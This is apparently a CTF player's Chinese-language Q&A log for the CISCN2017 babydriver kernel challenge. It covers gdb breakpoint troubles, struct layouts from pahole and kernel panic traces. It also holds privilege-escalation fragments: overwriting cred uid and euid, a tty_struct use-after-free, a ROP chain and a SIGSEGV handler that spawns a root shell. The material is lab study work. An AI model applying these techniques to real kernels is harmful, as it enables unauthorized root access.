babydev_class = v3;
if ( v3 )
{
v4 = device_create(v3, 0LL, babydev_no, 0LL, "babydev");
v0 = 0;
if ( v4 )
return v0;
printk(&unk_351, 0LL);
class_destroy(babydev_class);
}
else
{
printk(&unk_33B, "babydev");
}
cdev_del(&cdev_0);
}
else
{
printk(&unk_327, v1);
}
unregister_chrdev_region(babydev_no, 1LL);
return v2;
}
printk(&unk_309, 0LL);
return 1;
}

在init函数中出现次数最高的就一定是目标文件了吧/dev/babydev😶‍🌫️😶‍🌫️😶‍🌫️
创建设备文件同时初始化对设备文件的操作

3. Q&A

1
2
3
4
5
6
7
8
9
10
add symbol table from file "./vmlinux"
warning: Loadable section ".notes" outside of ELF segments
in /home/loo/ctf/kernel/xiaozaiya/kernel-PWN/CISCN2017-babydriver/try/vmlinux
warning: remote target does not support file transfer, attempting to access files from local filesystem.
add symbol table from file "./core/pwwn"
add symbol table from file "./core/babydriver.ko" at
.text_addr = 0xffffffffc0000000
Breakpoint 1 at 0x401b78: debug. (2 locations)
Breakpoint 2 at 0xffffffffc00000f0: file /home/atum/PWN/my/babydriver/kernelmodule/babydriver.c, line 48.
Breakpoint 3 at 0xffffffffc0000080: file /home/atum/PWN/my/babydriver/kernelmodule/babydriver.c, line 56.

明显已经下好断点了,为什么停不下来呢

1
2
3
4
5
pwndbg> i b
Num Type Disp Enb Address What
1 breakpoint keep y <PENDING> init_func
2 breakpoint keep y <PENDING> babywrite
3 breakpoint keep y <PENDING> babyioctl

时而pending时而是地址,但都挂不上去,不知道如何操作一下就挂上去了,但是稍作改动就又不行了,恢复也不行😫
貌似是这个题设置的qemu环境有问题

过了两天就能将断点打上去了💩

过了好几天又挂不上去了💩💩
手动设置貌似可以,目前可以,打不上去是因为<PENDING>,但是我记得好象这样也不是很靠谱,以后看情况吧,以前可能是两种情况混在一起了,感觉这个<PENDING>还是比较靠谱的

1
2
3
4
5
pwndbg> i b
Num Type Disp Enb Address What
1 breakpoint keep y <PENDING> *0x119+0xffffffffc0000000
2 breakpoint keep y 0xffffffff81095fb0 <work_for_cpu_fn>
breakpoint already hit 1 time

4. Q&A&A

不知道如何查看当前进程的cred
getuid()geteuid()函数或许足够了
编译解万难😁

5. Q&A

在线网站上显示uid在0x10偏移处但是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
...
}

实际操作发现只覆盖0x8字节的数据,就可以修改uid
最少覆盖0x18可以修改euid实现提权
推测实际结构体如下

1
2
3
4
5
6
7
8
9
10
11
12
struct cred {
atomic_t usage; // loo await a decision
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
...
}

有意思,真真假假
实际如下:(在线网站在我心中的地位动摇了)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
struct cred {
atomic_t usage; /* 0 4 */
kuid_t uid; /* 4 4 */
kgid_t gid; /* 8 4 */
kuid_t suid; /* 12 4 */
kgid_t sgid; /* 16 4 */
kuid_t euid; /* 20 4 */
kgid_t egid; /* 24 4 */
kuid_t fsuid; /* 28 4 */
kgid_t fsgid; /* 32 4 */
unsigned int securebits; /* 36 4 */
kernel_cap_t cap_inheritable; /* 40 8 */
kernel_cap_t cap_permitted; /* 48 8 */
kernel_cap_t cap_effective; /* 56 8 */
/* --- cacheline 1 boundary (64 bytes) --- */
kernel_cap_t cap_bset; /* 64 8 */
kernel_cap_t cap_ambient; /* 72 8 */
unsigned char jit_keyring; /* 80 1 */

/* XXX 7 bytes hole, try to pack */

struct key * session_keyring; /* 88 8 */
struct key * process_keyring; /* 96 8 */
struct key * thread_keyring; /* 104 8 */
struct key * request_key_auth; /* 112 8 */
void * security; /* 120 8 */
/* --- cacheline 2 boundary (128 bytes) --- */
struct user_struct * user; /* 128 8 */
struct user_namespace * user_ns; /* 136 8 */
struct group_info * group_info; /* 144 8 */
struct callback_head rcu __attribute__((__aligned__(8))); /* 152 16 */

/* size: 168, cachelines: 3, members: 25 */
/* sum members: 161, holes: 1, sum holes: 7 */
/* forced alignments: 1 */
/* last cacheline: 40 bytes */
} __attribute__((__aligned__(8)));

覆盖0x7c(一直到覆盖0x78都没问题)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
/ $ ./pwwn
[ 4.033946] general protection fault: 0000 [#1] SMP
[ 4.036693] Modules linked in: babydriver(OE)
[ 4.038659] CPU: 0 PID: 91 Comm: pwwn Tainted: G OE 4.4.72 #1
[ 4.041273] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014
[ 4.043267] task: ffff88001f9bd940 ti: ffff88001fa64000 task.ti: ffff88001fa64000
[ 4.044962] RIP: 0010:[<ffffffff81382cd8>] [<ffffffff81382cd8>] common_perm+0x28/0x50
[ 4.046924] RSP: 0018:ffff88001fa67df8 EFLAGS: 00010246
[ 4.048192] RAX: 0000000000000000 RBX: ffffffff81ea0280 RCX: ffff88001fa67e00
[ 4.049718] RDX: 0000000000000080 RSI: ffff88001fa67e08 RDI: 000000000000000e
[ 4.051270] RBP: ffff88001fa67e20 R08: 0000000000019f80 R09: ffffffff8121ad24
[ 4.052906] R10: f000ff53f000ff53 R11: 0000000000000000 R12: ffff88001fa67e70
[ 4.054464] R13: 0000000000000001 R14: 00000000004b279d R15: ffff88001fa67ec0
[ 4.055978] FS: 00000000011273c0(0063) GS:ffff88001f000000(0000) knlGS:0000000000000000
[ 4.057676] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 4.058881] CR2: 00000000004b279d CR3: 000000001f9c7000 CR4: 00000000001006f0
[ 4.060848] Stack:
[ 4.061302] ffffffff81382d61 ffff218000000000 ffff88001f9c11a0 ffff88001d968cc0
[ 4.062996] 52d9681d42a52b41 ffff88001fa67e40 ffffffff813437f1 ffff88001fa67e70
[ 4.064618] ffff88001fa67ec0 ffff88001fa67e60 ffffffff81210407 0000000000000000
[ 4.066259] Call Trace:
[ 4.066787] [<ffffffff81382d61>] ? apparmor_inode_getattr+0x61/0x80
[ 4.068197] [<ffffffff813437f1>] security_inode_getattr+0x41/0x60
[ 4.069513] [<ffffffff81210407>] vfs_getattr+0x17/0x30
[ 4.070596] [<ffffffff812104f8>] vfs_fstatat+0x78/0xc0
[ 4.071716] [<ffffffff81210af4>] SYSC_newfstatat+0x24/0x60
[ 4.072808] [<ffffffff8106a717>] ? trace_do_page_fault+0x37/0xe0
[ 4.074023] [<ffffffff81210bee>] SyS_newfstatat+0xe/0x10
[ 4.075115] [<ffffffff81819c32>] entry_SYSCALL_64_fastpath+0x16/0x71
[ 4.076463] Code: 44 00 00 0f 1f 44 00 00 65 48 8b 04 25 00 be 00 00 48 8b 80 f8 05 00 00 48 8b 40 78 48 85
[ 4.081790] RIP [<ffffffff81382cd8>] common_perm+0x28/0x50
[ 4.083044] RSP <ffff88001fa67df8>
[ 4.083788] ---[ end trace 1921a3008e474b93 ]---
[ 4.084785] Kernel panic - not syncing: Fatal exception
[ 4.086676] Kernel Offset: disabled
[ 4.087542] ---[ end Kernel panic - not syncing: Fatal exception

6. Q&A

vmlinux除了编译,如何才能得到能查看结构体的vmlinux😶‍🌫️😶‍🌫️😶‍🌫️
编译解万难

7. Q&A

常常出现断点打不上去的情况,原因未知
大概率是程序在断电之前就死掉了,换个断点或许就可以,真的是这样吗

8.Q&A

这样写有时候准确,有时不准确😶‍🌫️😶‍🌫️😶‍🌫️

1
rop_chain[i++] = (size_t)getshell;

getshell函数写到了头文件pwnlib.c中,将这个写到程序的主逻辑中就不会有问题了
到底,在这之后即使换回头文件中的getshell函数也是可以getshell的😡,花了如此长的时间,现在问题找不到了
😁明白了,不做特殊处理正常跑,会出现段错误

1
2
3
4
/ $ ./pwwn
[=]have saved!
[*]off is 0x0
Segmentation fault

这时候加上这一行

1
signal(SIGSEGV, getshell_);

此时就可以成功root了

1
2
3
4
5
/ $ ./pwwn
[=]have saved!
[*]off is 0x0
[+]welcome ROOT !!!
/ #

使用signal函数将处理段错误的函数改为能够getshell的函数

  • 详细见a3的评论区
    貌似是栈对齐的问题,原来写代码的人也要关注栈对其的问题,希望编译器神不知鬼不觉地优化一下,但是使用execve函数也不行,行之有效的办法是使用signal函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
void getshell_(int num){
if(getuid() != 0){
error("uid is not 0 !!!");
underline("Wating...");
sleep(5);
exit(0);
}
if(geteuid() != 0){
error("euid is %d",(int)geteuid());
}
success("welcome ROOT !!!");
//execve("/bin/sh",0,0);
char *argv[] = {"/bin/sh", NULL}; // 参数数组,结尾为NULL
char *envp[] = {NULL}; // 空环境变量数组,结尾为NULL
execve("/bin/sh", argv, envp);
exit(0);
}

/ $ ./pwwn
[=]have saved!
[*]off is 0x0
Segmentation fault

9. Q

会在这一步死掉,gdb有问题为什么感觉,感觉是高版本qemu调试本来就有问题,我想重新编译一个qemu,看看实力,哈哈,先放下,在这里单步执行不行,需要下断点实现单步执行,有时候也不行

1
2
3
b+ 0xffffffff81063694 <native_swapgs+4>     swapgs
► 0xffffffff81063697 <native_swapgs+7> pop rbp RBP => 0
0xffffffff81063698 <native_swapgs+8> ret

或者是这一步

1
► 0xffffffff814e35ef <tty_audit_log+239>    iretq

但是调试还是会出现问题
即使整个程序跑起来没有问题,但是gdb调试到这一步还是会报错,能跑通就行,我愿意相信这是gdb的带来的问题

1
2
3
4
5
6
7
8
9
10
11
pwndbg> b getshell
Breakpoint 2 at 0x401f55: file /home/loo/pwnlib.c, line 26.
pwndbg> b signal
Breakpoint 3 at 0x40aa60
pwndbg> b system
Breakpoint 4 at 0x40c4f0
pwndbg> b execve
Breakpoint 5 at 0x44fc40
pwndbg> c
Continuing.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
/ $ ./pwwn
[=]have saved!
[*]off is 0x0
[ 16.590873] PANIC: double fault, error_code: 0x0
[ 16.594971] Kernel panic - not syncing: Machine halted.
[ 16.596108] CPU: 0 PID: 91 Comm: pwwn Tainted: G OE 4.4.72 #1
[ 16.597394] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014
[ 16.599185] 0000000000000086 fd9e4a6c4680cede ffff88001f204e80 ffffffff813d98e3
[ 16.600851] ffffffff81cc311c ffff88001f204f18 ffff88001f204f08 ffffffff8118ada7
[ 16.602662] 0000000000000008 ffff88001f204f18 ffff88001f204eb0 fd9e4a6c4680cede
[ 16.604231] Call Trace:
[ 16.604787] <#DF> [<ffffffff813d98e3>] dump_stack+0x63/0x90
[ 16.606110] [<ffffffff8118ada7>] panic+0xd3/0x215
[ 16.607173] [<ffffffff8105fd4d>] df_debug+0x2d/0x30
[ 16.608435] [<ffffffff81018b8c>] do_double_fault+0x7c/0xf0
[ 16.609664] [<ffffffff8181b7b8>] double_fault+0x28/0x30
[ 16.610958] [<ffffffff8181a797>] ? native_iret+0x7/0x7
[ 16.612073] [<ffffffff8181bdcd>] ? async_page_fault+0xd/0x30
[ 16.613278] <<EOE>> <UNK>
[ 16.615438] Kernel Offset: disabled
[ 16.616820] ---[ end Kernel panic - not syncing: Machine halted.

10. Q

多次执行会报错,还是会出现段错误,在逻辑上不符合常理,但是不影响

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
/ $ ./pwwn
[=]have saved!
[*]off is 0x0
[+]welcome ROOT !!!
/ # ./pwwn
[=]have saved!
[*]off is 0x0
Segmentation fault
/ # exit
[ 21.431349] BUG: unable to handle kernel paging request at 00000000004cb380
[ 21.434442] IP: [<ffffffff814d97b4>] tty_release+0xf4/0x580
[ 21.436347] PGD 0
[ 21.437115] Oops: 0000 [#1] SMP
[ 21.438335] Modules linked in: babydriver(OE)
[ 21.440010] CPU: 0 PID: 90 Comm: pwwn Tainted: G OE 4.4.72 #1
[ 21.441569] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014
[ 21.443322] task: ffff88001c8a0cc0 ti: ffff88001cb3c000 task.ti: ffff88001cb3c000
[ 21.444817] RIP: 0010:[<ffffffff814d97b4>] [<ffffffff814d97b4>] tty_release+0xf4/0x580
[ 21.446487] RSP: 0018:ffff88001cb3fd90 EFLAGS: 00010202
[ 21.447606] RAX: 00000000004cb360 RBX: ffff88001cb3a400 RCX: 0000000000000000
[ 21.449116] RDX: 0000000000000000 RSI: ffff88001cb3a620 RDI: ffff88001caae530
[ 21.450601] RBP: ffff88001cb3fdf8 R08: 0000000000019e20 R09: ffffffff811b1fad
[ 21.452129] R10: ffff88001c8942e8 R11: 000000000000019a R12: ffff88001caae500
[ 21.453589] R13: ffff88001c8942e8 R14: ffff88001caa81a0 R15: ffff88001cb3a800
[ 21.455106] FS: 0000000000000000(0000) GS:ffff88001f200000(0000) knlGS:0000000000000000
[ 21.456771] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 21.457968] CR2: 00000000004cb380 CR3: 0000000001e0a000 CR4: 00000000001006f0
[ 21.459455] Stack:
[ 21.459885] ffff880000000008 ffff88001c8e6280 ffff88001caaea00 ffff88001ca8fc88
[ 21.461552] 0000000000000246 000000001d94ac00 ffff88001cb3fdf8 1e141f40ff6b3f08
[ 21.463147] ffff88001caae500 0000000000000008 ffff88001c8942e8 ffff88001caa81a0
[ 21.464774] Call Trace:
[ 21.465323] [<ffffffff8120d2c4>] __fput+0xe4/0x220
[ 21.466362] [<ffffffff8120d43e>] ____fput+0xe/0x10
[ 21.467428] [<ffffffff8109dcf1>] task_work_run+0x81/0xa0
[ 21.468549] [<ffffffff81082db1>] do_exit+0x2e1/0xb00
[ 21.469586] [<ffffffff8108d2f1>] ? __set_task_blocked+0x41/0xa0
[ 21.470841] [<ffffffff81083653>] do_group_exit+0x43/0xb0
[ 21.472031] [<ffffffff810836d4>] SyS_exit_group+0x14/0x20
[ 21.473232] [<ffffffff81819c32>] entry_SYSCALL_64_fastpath+0x16/0x71
[ 21.474534] Code: 00 00 00 48 8b 8b 18 02 00 00 4c 8b 04 d0 4c 39 c1 0f 85 e3 03 00 00 48 8b 89 18 02 00 00
[ 21.480075] RIP [<ffffffff814d97b4>] tty_release+0xf4/0x580
[ 21.481316] RSP <ffff88001cb3fd90>
[ 21.482075] CR2: 00000000004cb380
[ 21.482806] ---[ end trace ed74eca54f1113e7 ]---
[ 21.483781] Kernel panic - not syncing: Fatal exception
[ 21.485674] Kernel Offset: disabled
[ 21.486460] ---[ end Kernel panic - not syncing: Fatal exception

11. Q&A

pahole -C tty_struct也会输出一个结构体的信息,估计是输出的是当前kernel使用的这个结构体
一般指定文件pahole -C tty_struct ./vmlinux(相比之下有点输出慢了点x)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
loo@localhost:~/ctf/kernel/xiaozaiya/kernel-PWN/CISCN2017-babydriver/try$ pahole -C tty_struct ./vmlinux_c
struct tty_struct {
int magic; /* 0 4 */
struct kref kref; /* 4 4 */
struct device * dev; /* 8 8 */
struct tty_driver * driver; /* 16 8 */
const struct tty_operations * ops; /* 24 8 */
int index; /* 32 4 */

/* XXX 4 bytes hole, try to pack */

struct ld_semaphore ldisc_sem; /* 40 48 */
/* --- cacheline 1 boundary (64 bytes) was 24 bytes ago --- */
struct tty_ldisc * ldisc; /* 88 8 */
struct mutex atomic_write_lock; /* 96 40 */

/* XXX last struct has 4 bytes of padding */

/* --- cacheline 2 boundary (128 bytes) was 8 bytes ago --- */
struct mutex legacy_mutex; /* 136 40 */

/* XXX last struct has 4 bytes of padding */

struct mutex throttle_mutex; /* 176 40 */

/* XXX last struct has 4 bytes of padding */

/* --- cacheline 3 boundary (192 bytes) was 24 bytes ago --- */
struct rw_semaphore termios_rwsem; /* 216 40 */
/* --- cacheline 4 boundary (256 bytes) --- */
struct mutex winsize_mutex; /* 256 40 */

/* XXX last struct has 4 bytes of padding */

spinlock_t ctrl_lock; /* 296 4 */
spinlock_t flow_lock; /* 300 4 */
struct ktermios termios; /* 304 44 */
/* --- cacheline 5 boundary (320 bytes) was 28 bytes ago --- */
struct ktermios termios_locked; /* 348 44 */
/* --- cacheline 6 boundary (384 bytes) was 8 bytes ago --- */
struct termiox * termiox; /* 392 8 */
char name[64]; /* 400 64 */
/* --- cacheline 7 boundary (448 bytes) was 16 bytes ago --- */
struct pid * pgrp; /* 464 8 */
struct pid * session; /* 472 8 */
long unsigned int flags; /* 480 8 */
int count; /* 488 4 */
struct winsize winsize; /* 492 8 */

/* Bitfield combined with next fields */

long unsigned int stopped:1; /* 496:32 8 */
long unsigned int flow_stopped:1; /* 496:33 8 */

/* XXX 30 bits hole, try to pack */

/* Force alignment to the next boundary: */
long unsigned int :0;

long unsigned int unused:62; /* 504: 0 8 */

/* XXX 2 bits hole, try to pack */

/* --- cacheline 8 boundary (512 bytes) --- */
int hw_stopped; /* 512 4 */

/* Bitfield combined with previous fields */

long unsigned int ctrl_status:8; /* 512:32 8 */
long unsigned int packet:1; /* 512:40 8 */

/* XXX 23 bits hole, try to pack */

/* Force alignment to the next boundary: */
long unsigned int :0;

long unsigned int unused_ctrl:55; /* 520: 0 8 */

/* XXX 9 bits hole, try to pack */

unsigned int receive_room; /* 528 4 */
int flow_change; /* 532 4 */
struct tty_struct * link; /* 536 8 */
struct fasync_struct * fasync; /* 544 8 */
int alt_speed; /* 552 4 */

/* XXX 4 bytes hole, try to pack */

wait_queue_head_t write_wait; /* 560 24 */
/* --- cacheline 9 boundary (576 bytes) was 8 bytes ago --- */
wait_queue_head_t read_wait; /* 584 24 */
struct work_struct hangup_work; /* 608 32 */
/* --- cacheline 10 boundary (640 bytes) --- */
void * disc_data; /* 640 8 */
void * driver_data; /* 648 8 */
struct list_head tty_files; /* 656 16 */
int closing; /* 672 4 */

/* XXX 4 bytes hole, try to pack */

unsigned char * write_buf; /* 680 8 */
int write_cnt; /* 688 4 */

/* XXX 4 bytes hole, try to pack */

struct work_struct SAK_work; /* 696 32 */
/* --- cacheline 11 boundary (704 bytes) was 24 bytes ago --- */
struct tty_port * port; /* 728 8 */

/* size: 736, cachelines: 12, members: 47 */
/* sum members: 696, holes: 4, sum holes: 16 */
/* sum bitfield members: 128 bits, bit holes: 4, sum bit holes: 64 bits */
/* paddings: 4, sum paddings: 16 */
/* last cacheline: 32 bytes */
};

loo@localhost:~/ctf/kernel/xiaozaiya/kernel-PWN/CISCN2017-babydriver/try$ pahole -C tty_struct
struct tty_struct {
int magic; /* 0 4 */
struct kref kref; /* 4 4 */
struct device * dev; /* 8 8 */
struct tty_driver * driver; /* 16 8 */
const struct tty_operations * ops; /* 24 8 */
int index; /* 32 4 */

/* XXX 4 bytes hole, try to pack */

struct ld_semaphore ldisc_sem; /* 40 48 */
/* --- cacheline 1 boundary (64 bytes) was 24 bytes ago --- */
struct tty_ldisc * ldisc; /* 88 8 */
struct mutex atomic_write_lock; /* 96 32 */
/* --- cacheline 2 boundary (128 bytes) --- */
struct mutex legacy_mutex; /* 128 32 */
struct mutex throttle_mutex; /* 160 32 */
/* --- cacheline 3 boundary (192 bytes) --- */
struct rw_semaphore termios_rwsem; /* 192 40 */
struct mutex winsize_mutex; /* 232 32 */
/* --- cacheline 4 boundary (256 bytes) was 8 bytes ago --- */
struct ktermios termios; /* 264 44 */
struct ktermios termios_locked; /* 308 44 */
/* --- cacheline 5 boundary (320 bytes) was 32 bytes ago --- */
char name[64]; /* 352 64 */
/* --- cacheline 6 boundary (384 bytes) was 32 bytes ago --- */
long unsigned int flags; /* 416 8 */
int count; /* 424 4 */
struct winsize winsize; /* 428 8 */

/* XXX 4 bytes hole, try to pack */

struct {
spinlock_t lock; /* 440 4 */
bool stopped; /* 444 1 */
bool tco_stopped; /* 445 1 */

/* XXX 2 bytes hole, try to pack */

/* --- cacheline 7 boundary (448 bytes) --- */
long unsigned int unused[]; /* 448 0 */
} flow; /* 440 8 */
struct {
spinlock_t lock; /* 448 4 */

/* XXX 4 bytes hole, try to pack */

struct pid * pgrp; /* 456 8 */
struct pid * session; /* 464 8 */
unsigned char pktstatus; /* 472 1 */
bool packet; /* 473 1 */

/* XXX 6 bytes hole, try to pack */

long unsigned int unused[]; /* 480 0 */
} ctrl; /* 448 32 */
int hw_stopped; /* 480 4 */
unsigned int receive_room; /* 484 4 */
int flow_change; /* 488 4 */

/* XXX 4 bytes hole, try to pack */

struct tty_struct * link; /* 496 8 */
struct fasync_struct * fasync; /* 504 8 */
/* --- cacheline 8 boundary (512 bytes) --- */
wait_queue_head_t write_wait; /* 512 24 */
wait_queue_head_t read_wait; /* 536 24 */
struct work_struct hangup_work; /* 560 32 */
/* --- cacheline 9 boundary (576 bytes) was 16 bytes ago --- */
void * disc_data; /* 592 8 */
void * driver_data; /* 600 8 */
spinlock_t files_lock; /* 608 4 */

/* XXX 4 bytes hole, try to pack */

struct list_head tty_files; /* 616 16 */
int closing; /* 632 4 */

/* XXX 4 bytes hole, try to pack */

/* --- cacheline 10 boundary (640 bytes) --- */
unsigned char * write_buf; /* 640 8 */
int write_cnt; /* 648 4 */

/* XXX 4 bytes hole, try to pack */

struct work_struct SAK_work; /* 656 32 */
struct tty_port * port; /* 688 8 */

/* size: 696, cachelines: 11, members: 38 */
/* sum members: 672, holes: 6, sum holes: 24 */
/* last cacheline: 56 bytes */
};
	### 12. Q&A

应该是这样,但总是出现uaf失败的情况,貌似是程序逻辑问题
没错确实是逻辑问题,与程序无关

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pwndbg> tele 0xffff88001cafe400
00:0000│ rsi 0xffff88001cafe400 ◂— 0x100005401
01:00080xffff88001cafe408 ◂— 0
02:00100xffff88001cafe410 —▸ 0xffff88001c8e9a80 ◂— 0x200005402
03:00180xffff88001cafe418 —▸ 0xffffffff81a74f80 (ptm_unix98_ops) —▸ 0xffffffff814e2640 (ptm_unix98_lookup) ◂— nop dword ptr [rax + rax]
04:00200xffff88001cafe420 ◂— 0
... ↓ 2 skipped
07:00380xffff88001cafe438 ◂— 0xffff88001cafe438
pwndbg>
08:00400xffff88001cafe440 —▸ 0xffff88001cafe438 ◂— 0xffff88001cafe438
09:00480xffff88001cafe448 ◂— 0xffff88001cafe448
0a:00500xffff88001cafe450 —▸ 0xffff88001cafe448 ◂— 0xffff88001cafe448
0b:00580xffff88001cafe458 —▸ 0xffff88001c8539f0 —▸ 0xffffffff81eb8f80 (tty_ldisc_N_TTY) ◂— 0x5403
0c:00600xffff88001cafe460 ◂— 1
0d:00680xffff88001cafe468 ◂— 0xffff88001cafe468
0e:00700xffff88001cafe470 —▸ 0xffff88001cafe468 ◂— 0xffff88001cafe468
0f:00780xffff88001cafe478 ◂— 0

op

  • groups loo
  • pahole -C cred ./vmlinux

参考